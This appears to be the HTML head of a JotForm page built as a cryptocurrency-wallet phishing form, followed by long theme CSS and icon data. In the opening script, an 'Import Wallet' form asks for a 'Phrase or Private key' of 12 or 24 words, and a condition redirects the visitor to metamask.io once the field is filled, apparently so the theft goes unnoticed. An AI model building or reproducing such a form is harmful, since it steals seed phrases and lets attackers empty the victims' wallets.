<script src="https://cdn01.jotfor.ms/static/prototype.forms.js" type="text/javascript"></script>
<script src="https://cdn02.jotfor.ms/static/jotform.forms.js?3.3.33568" type="text/javascript"></script>
<script type="text/javascript"> JotForm.newDefaultTheme = true;
JotForm.extendsNewTheme = false;
JotForm.newPaymentUIForNewCreatedForms = false;
JotForm.newPaymentUI = true;
JotForm.setConditions([{"action":[{"id":"action_0_1637691038954","isError":false,"redirect":"https:\u002F\u002Fmetamask.io\u002F"}],"id":"1637690687243","index":"0","link":"Any","priority":"0","terms":[{"id":"term_0_1637691038954","field":"6","operator":"isFilled","value":"","isError":false}],"type":"url"}]);
JotForm.init(function(){
/*INIT-START*/
if (window.JotForm && JotForm.accessible) $('input_6').setAttribute('tabindex',0);
JotForm.setCustomHint( 'input_6', 'Phrase or Private key' );
/*INIT-END*/
});
JotForm.prepareCalculationsOnTheFly([null,null,null,null,null,null,{"name":"phraseOr","qid":"6","subLabel":"Typically 12 (sometimes 24) words separated by single spaces","text":"Phrase or Private key","type":"control_textarea"},null,null,null,null,null,null,{"name":"importWallet","qid":"13","text":"Import Wallet","type":"control_head"},{"name":"import","qid":"14","text":"IMPORT","type":"control_button"}]);
setTimeout(function() {
JotForm.paymentExtrasOnTheFly([null,null,null,null,null,null,{"name":"phraseOr","qid":"6","subLabel":"Typically 12 (sometimes 24) words separated by single spaces","text":"Phrase or Private key","type":"control_textarea"},null,null,null,null,null,null,{"name":"importWallet","qid":"13","text":"Import Wallet","type":"control_head"},{"name":"import","qid":"14","text":"IMPORT","type":"control_button"}]);}, 20);
</script>
<style type="text/css">@media print{.form-section{display:inline!important}.form-pagebreak{display:none!important}.form-section-closed{height:auto!important}.page-section{position:initial!important}}</style>
<link type="text/css" rel="stylesheet" href="https://cdn01.jotfor.ms/themes/CSS/5e6b428acc8c4e222d1beb91.css?themeRevisionID=5f30e2a790832f3e96009402"/>
<link type="text/css" rel="stylesheet" href="https://cdn02.jotfor.ms/css/styles/payment/payment_styles.css?3.3.33568" />
<link type="text/css" rel="stylesheet" href="https://cdn03.jotfor.ms/css/styles/payment/payment_feature.css?3.3.33568" />
<style type="text/css" id="form-designer-style">
/* Injected CSS Code */
/*PREFERENCES STYLE*/
/* NEW THEME STYLE */
/* colors */
.form-textbox, .form-textarea {
color: undefined;
}
.rating-item input:hover+label {
color: rgba(0, 112, 141, 0.75);
}
li[data-type=control_fileupload] .qq-upload-button,
.until-text,
.form-submit-reset {
color: rgba(0, 112, 141, 0.75);
}
.stageEmpty.isSmall{
color: rgba(0, 112, 141, 0.75);
}
.rating-item label {
color: rgba(0, 112, 141, 0.75);
}
.currentDate,
.pickerItem select,
.appointmentCalendar .calendarDay,
.calendar.popup th,
.calendar.popup table tbody td,
.calendar-new-header>*,
.form-collapse-table {
color: #264B67;
}
.appointmentCalendar .dayOfWeek {
color: #264B67;
}
.appointmentSlotsContainer > * {
color: rgba(0, 112, 141, 0.75);
}
li[data-type=control_fileupload] .jfUpload-heading,
::placeholder,
.form-dropdown.is-active,
.form-dropdown:first-child,
.form-spinner-input {
color: #83D0E4;
}
.appointmentCalendar .calendarWeek .calendarDay.isUnavailable,
.calendar tr.days td.otherDay,
.calendar tr.days td:hover:not(.unselectable) {
color: #83D0E4;
}
span.form-sub-label, label.form-sub-label, div.form-header-group .form-subHeader,
.rating-item-title.for-to > label:first-child,
.rating-item-title.for-from > label:first-child,
.rating-item-title .editor-container * {
color: #264B67;
}
.form-pagebreak-back{
color: #FFFFFF;
}
.rating-item input:checked+label,
.rating-item input:focus+label {
color: #FFFFFF;
}
.clear-pad-btn {
color: #FFFFFF;
}
.form-textbox::placeholder,
.form-dropdown:not(.time-dropdown):not(:required),
.form-dropdown:not(:required),
.form-dropdown:required:invalid {
color: #83D0E4;
}
/* border-colors */
.form-dropdown,
.form-textarea,
.form-textbox,
li[data-type=control_fileupload] .qq-upload-button,
.rating-item label,
.rating-item input:focus+label,
.rating-item input:checked+label,
.jf-form-buttons,
.form-checkbox+label:before, .form-checkbox+span:before, .form-radio+label:before, .form-radio+span:before,
.signature-pad-passive,
.signature-wrapper,
.appointmentCalendarContainer,
.appointmentField .timezonePickerName,
.appointmentDayPickerButton,
.appointmentCalendarContainer .monthYearPicker .pickerItem+.pickerItem,
.appointmentCalendarContainer .monthYearPicker,
.appointmentCalendar .calendarDay.isActive .calendarDayEach, .appointmentCalendar .calendarDay.isToday .calendarDayEach, .appointmentCalendar .calendarDay:not(.empty):hover .calendarDayEach,
.calendar.popup:before,
.calendar-new-month,
.form-matrix-column-headers, .form-matrix-table td, .form-matrix-table td:last-child,
.form-matrix-table th, .form-matrix-table th:last-child, .form-matrix-table tr:last-child td, .form-matrix-table tr:last-child th, .form-matrix-table tr:not([role=group])+tr[role=group] th,
.form-matrix-headers.form-matrix-column-headers,
.isSelected .form-matrix-column-headers:nth-last-of-type(2),
li[data-type=control_inline] input[type=email], li[data-type=control_inline] input[type=number],
li[data-type=control_inline] input[type=tel], li[data-type=control_inline] input[type=text],
.stageEmpty.isSmall {
border-color: rgba(0, 112, 141, 0.75);
}
.rating-item input:hover+label {
border-color: rgba(0, 112, 141, 0.75);
}
.appointmentSlot,
.form-checkbox:checked+label:before, .form-checkbox:checked+span:before, .form-checkbox:checked+span label:before,
.form-radio:checked+label:before, .form-radio:checked+span:before,
.form-dropdown:focus, .form-textarea:focus, .form-textbox:focus, .signature-wrapper:focus,
.form-line[data-payment="true"] .form-product-item .p_checkbox .checked,
.form-dropdown:hover, .form-textarea:hover, .form-textbox:hover, .signature-wrapper:hover {
border-color: rgba(0, 112, 141, 0.75);
}
.calendar tr.days td:hover:not(.unselectable):after {
border-color: #83D0E4;
}
.form-header-group,
.form-buttons-wrapper, .form-pagebreak, .form-submit-clear-wrapper,
.form-pagebreak-next,
.form-pagebreak-back,
.form-checkbox:hover+label:before, .form-checkbox:hover+span:before, .form-radio:hover+label:before, .form-radio:hover+span:before{
border-color: #83D0E4;
}
.form-pagebreak-back:focus, .form-pagebreak-next:focus, .form-submit-button:focus {
border-color: rgba(0, 112, 141, 1);
}
/* background-colors */
.form-line-active {
background-color: #DAF3FA;
}
.form-line-error {
background-color: #FFEDED;
}
.form-matrix-column-headers, .form-matrix-row-headers,
.form-spinner-button-container>*,
.form-collapse-table,
.form-collapse-table:hover,
.appointmentDayPickerButton {
background-color: #83D0E4;
}
.calendar.popup, .calendar.popup table,
.calendar.popup table tbody td:after{
background-color: #F0FCFF;
}
.appointmentCalendar .calendarDay.isActive .calendarDayEach,
.appointmentFieldRow.forSelectedDate,
.calendar.popup tr.days td.selected:after,
.calendar.popup:after,
.submit-button,
.form-checkbox:checked+label:before, .form-checkbox:checked+span:before, .form-checkbox:checked+span label:before,
.form-radio+label:after, .form-radio+span:after,
.rating-item input:checked+label,
.appointmentCalendar .calendarDay:after,
.form-line[data-payment="true"] .form-product-item .p_checkbox .checked,
.rating-item input:focus+label {
background-color: #01485A;
}
.appointmentSlot.active {
background-color: #01485A !important;
}
.clear-pad-btn,
.appointmentCalendar .dayOfWeek,
.calendar.popup th {
background-color: #83D0E4 !important;
}
.appointmentField .timezonePicker:hover+.timezonePickerName,
.form-spinner-button-container>*:hover {
background-color: #86C8D9;
}
.form-matrix-values,
.form-matrix-values,
.signature-wrapper,
.signature-pad-passive,
.rating-item label,
.form-checkbox+label:before, .form-checkbox+span:before,
.form-radio+label:before, .form-radio+span:before {
background-color: #FFFFFF;
}
li[data-type=control_fileupload] .qq-upload-button {
background-color: #FFFFFF;
}
.JotFormBuilder .appContainer #app li.form-line[data-type=control_matrix].isSelected
.questionLine-editButton.forRemove:after,
.JotFormBuilder .appContainer #app li.form-line[data-type=control_matrix].isSelected .questionLine-editButton.forRemove:before {
background-color: #FFFFFF;
}
.appointmentCalendarContainer, .appointmentSlot,
.rating-item-title.for-to > label:first-child,
.rating-item-title.for-from > label:first-child,
.rating-item-title .editor-container *,
.calendar-opened {
background-color: transparent;
}
.page-section li.form-line-active[data-type="control_button"] {
background-color: #DAF3FA;
}
.appointmentCalendar .calendarDay.isSelected:after {
color: #FFFFFF;
}
/* shadow */
.form-dropdown:hover, .form-textarea:hover, .form-textbox:hover, .signature-wrapper:hover,
.calendar.popup:before,
.jSignature:hover,
li[data-type=control_fileupload] .qq-upload-button-hover,
.form-line[data-payment="true"] .form-product-item .p_checkbox .checked,
.form-line[data-payment="true"] .form-product-item .p_checkbox:hover .select_border,
.form-checkbox:hover+label:before, .form-checkbox:hover+span:before, .form-radio:hover+label:before, .form-radio:hover+span:before,
.calendar.popup:before {
border-color: rgba(0, 112, 141, 0.5);
box-shadow: 0 0 0 2px rgba(0, 112, 141, 0.25);
}
.form-dropdown:focus, .form-textarea:focus, .form-textbox:focus, .signature-wrapper:focus,
li[data-type=control_fileupload] .qq-upload-button-focus,
.form-checkbox:focus+label:before, .form-checkbox:focus+span:before, .form-radio:focus+label:before, .form-radio:focus+span:before,
.calendar.popup:before {
border-color: rgba(0, 112, 141, 1);
box-shadow: 0 0 0 3px rgba(0, 112, 141, 0.25);
}
.calendar.popup table tbody td{
box-shadow: none;
}
/* button colors */
.submit-button {
background-color: #264B67;
border-color: #264B67;
}
.submit-button:hover {
background-color: #09314F;
border-color: #09314F;
}
.form-pagebreak-next {
background-color: #83D0E4;
}
.form-pagebreak-back {
background-color: #83D0E4;
}
.form-pagebreak-back:hover {
background-color: #4F7D89;
border-color: #4F7D89;
}
.form-pagebreak-next:hover {
background-color: #4F7D89;
border-color: #4F7D89;
}
.form-sacl-button, .form-submit-print {
background-color: transparent;
color: rgba(0, 112, 141, 0.75);
border-color: rgba(0, 112, 141, 0.75);
}
.form-sacl-button:hover, .form-submit-print:hover,
.appointmentSlot:not(.disabled):not(.active):hover,
.appointmentDayPickerButton:hover,
.rating-item input:hover+label {
background-color: #86C8D9;
}
/* payment styles */
.form-line[data-payment=true] .form-textbox,
.form-line[data-payment=true] .select-area,
.form-line[data-payment=true] #coupon-input,
.form-line[data-payment=true] #coupon-container input,
.form-line[data-payment=true] input#productSearch-input,
.form-line[data-payment=true] .form-product-category-item:after,
.form-line[data-payment=true] .filter-container .dropdown-container .select-content,
.form-line[data-payment=true] .form-textbox.form-product-custom_quantity,
.form-line[data-payment="true"] .form-product-item .p_checkbox .select_border,
.form-line[data-payment="true"] .form-product-item .form-product-container .form-sub-label-container span.select_cont,
.form-line[data-payment=true] select.form-dropdown {
border-color: rgba(0, 112, 141, 0.75);
border-color: rgba(0,112,141,.4);
}
.form-line[data-payment="true"] hr,
.form-line[data-payment=true] .p_item_separator,
.form-line[data-payment="true"] .payment_footer.new_ui,
.form-line.card-3col .form-product-item.new_ui,
.form-line.card-2col .form-product-item.new_ui {
border-color: rgba(0, 112, 141, 0.75);
border-color: rgba(0,112,141,.2);
}
.form-line[data-payment=true] .form-product-category-item {
border-color: rgba(0, 112, 141, 0.75);
border-color: rgba(0,112,141,.3);
}
.form-line[data-payment=true] #coupon-input,
.form-line[data-payment=true] .form-textbox.form-product-custom_quantity,
.form-line[data-payment=true] input#productSearch-input,
.form-line[data-payment=true] .select-area,
.form-line[data-payment=true] .custom_quantity,
.form-line[data-payment=true] .filter-container .select-content,
.form-line[data-payment=true] .p_checkbox .select_border {
background-color: #FFFFFF;
}
.form-line[data-payment=true] .form-product-category-item.title_collapsed.has_selected_product .selected-items-icon {
background-color: rgba(0,112,141,.7);
border-color: rgba(0,112,141,.7);
}
.form-line[data-payment=true].form-line.card-3col .form-product-item,
.form-line[data-payment=true].form-line.card-2col .form-product-item {
background-color: rgba(0,0,0,.05);
}
.form-line[data-payment=true] .payment-form-table input.form-textbox,
.form-line[data-payment=true] .payment-form-table input.form-dropdown,
.form-line[data-payment=true] .payment-form-table .form-sub-label-container > div,
.form-line[data-payment=true] .payment-form-table span.form-sub-label-container iframe,
.form-line[data-type=control_square] .payment-form-table span.form-sub-label-container iframe {
border-color: rgba(0, 112, 141, 0.75);
}
/* icons */
.appointmentField .timezonePickerName:before {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0wIDcuOTYwMkMwIDMuNTY2MTcgMy41NTgyMSAwIDcuOTUyMjQgMEMxMi4zNTQyIDAgMTUuOTIwNCAzLjU2NjE3IDE1LjkyMDQgNy45NjAyQzE1LjkyMDQgMTIuMzU0MiAxMi4zNTQyIDE1LjkyMDQgNy45NTIyNCAxNS45MjA0QzMuNTU4MjEgMTUuOTIwNCAwIDEyLjM1NDIgMCA3Ljk2MDJaTTEuNTkzNzUgNy45NjAyQzEuNTkzNzUgMTEuNDc4NiA0LjQ0MzUgMTQuMzI4NCA3Ljk2MTkxIDE0LjMyODRDMTEuNDgwMyAxNC4zMjg0IDE0LjMzMDEgMTEuNDc4NiAxNC4zMzAxIDcuOTYwMkMxNC4zMzAxIDQuNDQxNzkgMTEuNDgwMyAxLjU5MjA0IDcuOTYxOTEgMS41OTIwNEM0LjQ0MzUgMS41OTIwNCAxLjU5Mzc1IDQuNDQxNzkgMS41OTM3NSA3Ljk2MDJaIiBmaWxsPSIjMjA4MTlCIi8+CjxwYXRoIGQ9Ik04LjM1ODA5IDMuOTc5OThINy4xNjQwNlY4Ljc1NjFMMTEuMzQzMiAxMS4yNjM2TDExLjk0MDIgMTAuMjg0NUw4LjM1ODA5IDguMTU5MDhWMy45Nzk5OFoiIGZpbGw9IiMyMDgxOUIiLz4KPC9zdmc+Cg==);
}
.appointmentCalendarContainer .monthYearPicker .pickerArrow.prev:after {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAiIGhlaWdodD0iNiIgdmlld0JveD0iMCAwIDEwIDYiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CjxwYXRoIGQ9Ik04LjU5NzgyIDUuMzM2NjRDOC45MzMxMiA1LjY0MDE4IDkuNDM5MzkgNS42MzM2IDkuNzU2MTMgNS4zMTY2OUMxMC4wODEzIDQuOTkxMzYgMTAuMDgxMyA0LjQ2MzU0IDkuNzU2MTMgNC4xMzgyMUM5LjYwOTA0IDQuMDAwMjYgOS42MDkwMyA0LjAwMDI2IDkuMDg5NDkgMy41MTUwOUM4LjQzNzQyIDIuOTA2MDkgOC40Mzc0MyAyLjkwNjA5IDcuNjU1MTEgMi4xNzU0N0M2LjA4OTU2IDAuNzEzMzUzIDYuMDg5NTYgMC43MTMzNTIgNS41Njc3MyAwLjIyNjAwN0M1LjI0MTA0IC0wLjA3MDYwMDUgNC43NTA4NSAtMC4wNjk1OTY3IDQuNDMyMzUgMC4yMjU4MzVMMC4yNjI1NCA0LjExODE1Qy0wLjA4MDU0NTkgNC40NTkzNiAtMC4wODcxNzExIDQuOTg3ODggMC4yNDE0NjggNS4zMTY2OUMwLjU1OTU1OCA1LjYzNDk2IDEuMDY5NzUgNS42NDA1OSAxLjM5NzAzIDUuMzM2NTNMNC45OTg5MSAxLjk3NTIyTDguNTk3ODIgNS4zMzY2NFoiIGZpbGw9IiMwMDcwOEQiLz4KPC9zdmc+Cg==);
}
.appointmentCalendarContainer .monthYearPicker .pickerArrow.next:after {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAiIGhlaWdodD0iNiIgdmlld0JveD0iMCAwIDEwIDYiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CjxwYXRoIGQ9Ik0xLjQwMjE4IDAuMjI2OTE1QzEuMDY2ODcgLTAuMDc2Njg0OSAwLjU2MDYwMiAtMC4wNzAwODQ5IDAuMjQzODY5IDAuMjQ2ODE1Qy0wLjA4MTI4OTggMC41NzIxMTUgLTAuMDgxMjg5OCAxLjEwMDAyIDAuMjQzODY5IDEuNDI1MzJDMC4zOTA5NTYgMS41NjMyMiAwLjM5MDk2NiAxLjU2MzIyIDAuOTEwNTEgMi4wNDg0MkMxLjU2MjU3IDIuNjU3NDIgMS41NjI1NiAyLjY1NzQxIDIuMzQ0ODggMy4zODgwMkMzLjkxMDQ0IDQuODUwMTEgMy45MTA0MyA0Ljg1MDEyIDQuNDMyMjcgNS4zMzc1MkM0Ljc1ODk1IDUuNjM0MTIgNS4yNDkxNSA1LjYzMzEyIDUuNTY3NjQgNS4zMzc3Mkw5LjczNzQ2IDEuNDQ1NDJDMTAuMDgwNSAxLjEwNDEyIDEwLjA4NzEgMC41NzU2MTUgOS43NTg1MyAwLjI0NjgxNUM5LjQ0MDQ0IC0wLjA3MTQ4NDkgOC45MzAyNCAtMC4wNzcwODQ5IDguNjAyOTcgMC4yMjcwMTVMNS4wMDEwOCAzLjU4ODMyTDEuNDAyMTggMC4yMjY5MTVaIiBmaWxsPSIjMDA3MDhEIi8+Cjwvc3ZnPgo=);
}
.appointmentField .timezonePickerName:after {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAiIGhlaWdodD0iNiIgdmlld0JveD0iMCAwIDEwIDYiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CjxwYXRoIGQ9Ik0xIDFMNSA1TDkgMSIgc3Ryb2tlPSIjMDA3MDhEIiBzdHJva2Utd2lkdGg9IjIiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIvPgo8L3N2Zz4K);
width: 11px;
}
li[data-type=control_datetime] [data-wrapper-react=true].extended>div+.form-sub-label-container .form-textbox:placeholder-shown,
li[data-type=control_datetime] [data-wrapper-react=true]:not(.extended) .form-textbox:not(.time-dropdown):placeholder-shown,
.appointmentCalendarContainer .currentDate {
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.signature-pad-passive, .signature-placeholder:after {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTk4IiBoZWlnaHQ9IjQwIiB2aWV3Qm94PSIwIDAgMTk4IDQwIiBmaWxsPSJub25lIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgo8cGF0aCBkPSJNNzQuMTA0NCA2LjM0NTA4SDc1LjU4NTlDNzUuNTQxMiA0LjcxNDQgNzQuMDk5NCAzLjUzMTE2IDcyLjAzMTIgMy41MzExNkM2OS45ODc5IDMuNTMxMTYgNjguNDIxOSA0LjY5OTQ4IDY4LjQyMTkgNi40NTQ0NkM2OC40MjE5IDcuODcxMzYgNjkuNDM2MSA4LjcwMTYyIDcxLjA3MTcgOS4xNDQwOUw3Mi4yNzQ5IDkuNDcyMjFDNzMuMzYzNiA5Ljc2MDU2IDc0LjIwMzggMTAuMTE4NSA3NC4yMDM4IDExLjAyMzNDNzQuMjAzOCAxMi4wMTc3IDczLjI1NDMgMTIuNjczOSA3MS45NDY3IDEyLjY3MzlDNzAuNzYzNSAxMi42NzM5IDY5Ljc3OTEgMTIuMTQ2OSA2OS42ODk2IDExLjAzODNINjguMTQ4NEM2OC4yNDc5IDEyLjg4MjcgNjkuNjc0NyAxNC4wMjEyIDcxLjk1NjcgMTQuMDIxMkM3NC4zNDggMTQuMDIxMiA3NS43MjUxIDEyLjc2MzQgNzUuNzI1MSAxMS4wMzgzQzc1LjcyNTEgOS4yMDM3NSA3NC4wODk1IDguNDkyODEgNzIuNzk2OSA4LjE3NDYzTDcxLjgwMjYgNy45MTYxQzcxLjAwNzEgNy43MTIyNyA2OS45NDgyIDcuMzM5NCA2OS45NTMxIDYuMzY0OTdDNjkuOTUzMSA1LjQ5OTkxIDcwLjc0MzYgNC44NTg1OCA3MS45OTY0IDQuODU4NThDNzMuMTY0OCA0Ljg1ODU4IDczLjk5NSA1LjQwNTQ1IDc0LjEwNDQgNi4zNDUwOFoiIGZpbGw9IiM4M0QwRTQiLz4KPHBhdGggZD0iTTc3LjQ0MTYgMTMuODUyMkg3OC45MjgxVjYuMjE1ODJINzcuNDQxNlYxMy44NTIyWk03OC4xOTIzIDUuMDM3NTVDNzguNzA0NCA1LjAzNzU1IDc5LjEzMTkgNC42Mzk4MyA3OS4xMzE5IDQuMTUyNjFDNzkuMTMxOSAzLjY2NTM5IDc4LjcwNDQgMy4yNjI3IDc4LjE5MjMgMy4yNjI3Qzc3LjY3NTIgMy4yNjI3IDc3LjI1MjcgMy42NjUzOSA3Ny4yNTI3IDQuMTUyNjFDNzcuMjUyNyA0LjYzOTgzIDc3LjY3NTIgNS4wMzc1NSA3OC4xOTIzIDUuMDM3NTVaIiBmaWxsPSIjODNEMEU0Ii8+CjxwYXRoIGQ9Ik04NC4xMjk2IDE2Ljg2Qzg2LjA3MzUgMTYuODYgODcuNTc0OSAxNS45NzAxIDg3LjU3NDkgMTQuMDIxMlY2LjIxNTgySDg2LjExODNWNy40NTM3NUg4Ni4wMDg5Qzg1Ljc0NTQgNi45ODE0NSA4NS4yMTg0IDYuMTE2MzkgODMuNzk2NSA2LjExNjM5QzgxLjk1MjEgNi4xMTYzOSA4MC41OTQ4IDcuNTczMDYgODAuNTk0OCAxMC4wMDQyQzgwLjU5NDggMTIuNDQwMyA4MS45ODE5IDEzLjczNzggODMuNzg2NiAxMy43Mzc4Qzg1LjE4ODYgMTMuNzM3OCA4NS43MzA1IDEyLjk0NzQgODUuOTk4OSAxMi40NjAxSDg2LjA5MzRWMTMuOTYxNkM4Ni4wOTM0IDE1LjEzOTggODUuMjczMSAxNS42NjE4IDg0LjE0NDUgMTUuNjYxOEM4Mi45MDY2IDE1LjY2MTggODIuNDI0NCAxNS4wNDA0IDgyLjE2MDkgMTQuNjE3OEw4MC44ODMyIDE1LjE0NDhDODEuMjg1OSAxNi4wNjQ1IDgyLjMwNSAxNi44NiA4NC4xMjk2IDE2Ljg2Wk04NC4xMTQ3IDEyLjUwNDlDODIuNzg3MyAxMi41MDQ5IDgyLjA5NjIgMTEuNDg1NyA4Mi4wOTYyIDkuOTg0MjlDODIuMDk2MiA4LjUxNzY3IDgyLjc3MjQgNy4zNzkxNyA4NC4xMTQ3IDcuMzc5MTdDODUuNDEyMyA3LjM3OTE3IDg2LjEwODMgOC40MzgxMiA4Ni4xMDgzIDkuOTg0MjlDODYuMTA4MyAxMS41NjAzIDg1LjM5NzQgMTIuNTA0OSA4NC4xMTQ3IDEyLjUwNDlaIiBmaWxsPSIjODNEMEU0Ii8+CjxwYXRoIGQ9Ik05MS4wNTUgOS4zMTgwOUM5MS4wNTUgOC4xMDAwNSA5MS44MDA4IDcuNDA0MDMgOTIuODM0OSA3LjQwNDAzQzkzLjg0NDEgNy40MDQwMyA5NC40NTU2IDguMDY1MjUgOTQuNDU1NiA5LjE3MzkyVjEzLjg1MjJIOTUuOTQyMVY4Ljk5NDk0Qzk1Ljk0MjEgNy4xMDU3NCA5NC45MDMxIDYuMTE2MzkgOTMuMzQyIDYuMTE2MzlDOTIuMTkzNSA2LjExNjM5IDkxLjQ0MjggNi42NDgzNSA5MS4wODk4IDcuNDU4NzJIOTAuOTk1NFY2LjIxNTgySDg5LjU2ODVWMTMuODUyMkg5MS4wNTVWOS4zMTgwOVoiIGZpbGw9IiM4M0QwRTQiLz4KPHBhdGggZD0iTTEwMS43NiAxMy44NTIySDEwMy4yOTZWOS40MTI1NUgxMDguMzcyVjEzLjg1MjJIMTA5LjkxNFYzLjY3MDM3SDEwOC4zNzJWOC4wOTUwOEgxMDMuMjk2VjMuNjcwMzdIMTAxLjc2VjEzLjg1MjJaIiBmaWxsPSIjODNEMEU0Ii8+CjxwYXRoIGQ9Ik0xMTUuMzIzIDE0LjAwNjNDMTE2Ljk4OCAxNC4wMDYzIDExOC4xNjYgMTMuMTg2IDExOC41MDQgMTEuOTQzMUwxMTcuMDk3IDExLjY4OTVDMTE2LjgyOSAxMi40MTA0IDExNi4xODMgMTIuNzc4MyAxMTUuMzM4IDEyLjc3ODNDMTE0LjA2NSAxMi43NzgzIDExMy4yMSAxMS45NTMgMTEzLjE3IDEwLjQ4MTRIMTE4LjU5OVY5Ljk1NDQ2QzExOC41OTkgNy4xOTUyMiAxMTYuOTQ4IDYuMTE2MzkgMTE1LjIxOCA2LjExNjM5QzExMy4wOSA2LjExNjM5IDExMS42ODggNy43MzcxMyAxMTEuNjg4IDEwLjA4MzdDMTExLjY4OCAxMi40NTUyIDExMy4wNyAxNC4wMDYzIDExNS4zMjMgMTQuMDA2M1pNMTEzLjE3NSA5LjM2NzgxQzExMy4yMzUgOC4yODQgMTE0LjAyIDcuMzQ0MzcgMTE1LjIyOCA3LjM0NDM3QzExNi4zODIgNy4zNDQzNyAxMTcuMTM3IDguMTk5NDkgMTE3LjE0MiA5LjM2NzgxSDExMy4xNzVaIiBmaWxsPSIjODNEMEU0Ii8+CjxwYXRoIGQ9Ik0xMjAuMjQ4IDEzLjg1MjJIMTIxLjczNVY5LjE4ODgzQzEyMS43MzUgOC4xODk1NCAxMjIuNTA1IDcuNDY4NjYgMTIzLjU1OSA3LjQ2ODY2QzEyMy44NjggNy40Njg2NiAxMjQuMjE2IDcuNTIzMzUgMTI0LjMzNSA3LjU1ODE1VjYuMTM2MjdDMTI0LjE4NiA2LjExNjM5IDEyMy44OTIgNi4xMDE0NyAxMjMuNzAzIDYuMTAxNDdDMTIyLjgwOSA2LjEwMTQ3IDEyMi4wNDMgNi42MDg1OCAxMjEuNzY1IDcuNDI4ODlIMTIxLjY4NVY2LjIxNTgySDEyMC4yNDhWMTMuODUyMloiIGZpbGw9IiM4M0QwRTQiLz4KPHBhdGggZD0iTTEyOC42MzkgMTQuMDA2M0MxMzAuMzA1IDE0LjAwNjMgMTMxLjQ4MyAxMy4xODYgMTMxLjgyMSAxMS45NDMxTDEzMC40MTQgMTEuNjg5NUMxMzAuMTQ1IDEyLjQxMDQgMTI5LjQ5OSAxMi43NzgzIDEyOC42NTQgMTIuNzc4M0MxMjcuMzgxIDEyLjc3ODMgMTI2LjUyNiAxMS45NTMgMTI2LjQ4NiAxMC40ODE0SDEzMS45MTVWOS45NTQ0NkMxMzEuOTE1IDcuMTk1MjIgMTMwLjI2NSA2LjExNjM5IDEyOC41MzUgNi4xMTYzOUMxMjYuNDA3IDYuMTE2MzkgMTI1LjAwNSA3LjczNzEzIDEyNS4wMDUgMTAuMDgzN0MxMjUuMDA1IDEyLjQ1NTIgMTI2LjM4NyAxNC4wMDYzIDEyOC42MzkgMTQuMDA2M1pNMTI2LjQ5MSA5LjM2NzgxQzEyNi41NTEgOC4yODQgMTI3LjMzNiA3LjM0NDM3IDEyOC41NDUgNy4zNDQzN0MxMjkuNjk4IDcuMzQ0MzcgMTMwLjQ1NCA4LjE5OTQ5IDEzMC40NTkgOS4zNjc4MUgxMjYuNDkxWiIgZmlsbD0iIzgzRDBFNCIvPgo8cGF0aCBkPSJNMSAzNi4wMjI5QzEyLjI0NjEgMzkuMjIwNSAyMy4xODIgMzUuMDMyOCAzMi41MDg0IDI4Ljg1MTFDMzcuNDQwNCAyNS41ODIyIDQyLjMzNDEgMjEuNjY4NyA0NS4zMzI5IDE2LjUxMDFDNDYuNTI4MyAxNC40NTM5IDQ3Ljk4OTMgMTAuODg0NCA0NC4yMjcxIDEwLjg1MjhDNDAuMTMzNyAxMC44MTgzIDM3LjA4NjQgMTQuNTE0MiAzNS41NTg4IDE3Ljg3NDRDMzMuMzY4MSAyMi42OTMzIDMzLjI5MSAyOC40MDA0IDM1Ljk2NTYgMzMuMDQ0MUMzOC40OTcxIDM3LjQzOTYgNDIuNzQ0NSAzOS41MTg0IDQ3Lj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}
.form-spinner-button.form-spinner-up:before {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTQiIGhlaWdodD0iMTQiIHZpZXdCb3g9IjAgMCAxNCAxNCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03LjUgMTIuNDAwNEw3LjUgNy40MDAzOUwxMi41IDcuNDAwMzlDMTIuNzc2IDcuNDAwMzkgMTMgNy4xNzYzOSAxMyA2LjkwMDM5QzEzIDYuNjI0MzkgMTIuNzc2IDYuNDAwMzkgMTIuNSA2LjQwMDM5TDcuNSA2LjQwMDM5TDcuNSAxLjQwMDM5QzcuNSAxLjEyNDM5IDcuMjc2IDAuOTAwMzkgNyAwLjkwMDM5QzYuNzI0IDAuOTAwMzkgNi41IDEuMTI0MzkgNi41IDEuNDAwMzlMNi41IDYuNDAwMzlMMS41IDYuNDAwMzlDMS4yMjQgNi40MDAzOSAxIDYuNjI0MzkgMSA2LjkwMDM5QzEgNy4xNzYzOSAxLjIyNCA3LjQwMDM5IDEuNSA3LjQwMDM5TDYuNSA3LjQwMDM5TDYuNSAxMi40MDA0QzYuNSAxMi42NzY0IDYuNzI0IDEyLjkwMDQgNyAxMi45MDA0QzcuMjc2IDEyLjkwMDQgNy41IDEyLjY3NjQgNy41IDEyLjQwMDRaIiBmaWxsPSIjMDA3MDhEIiBzdHJva2U9IiMwMDcwOEQiIHN0cm9rZS13aWR0aD0iMC41Ii8+Cjwvc3ZnPgo=);
}
.form-spinner-button.form-spinner-down:before {
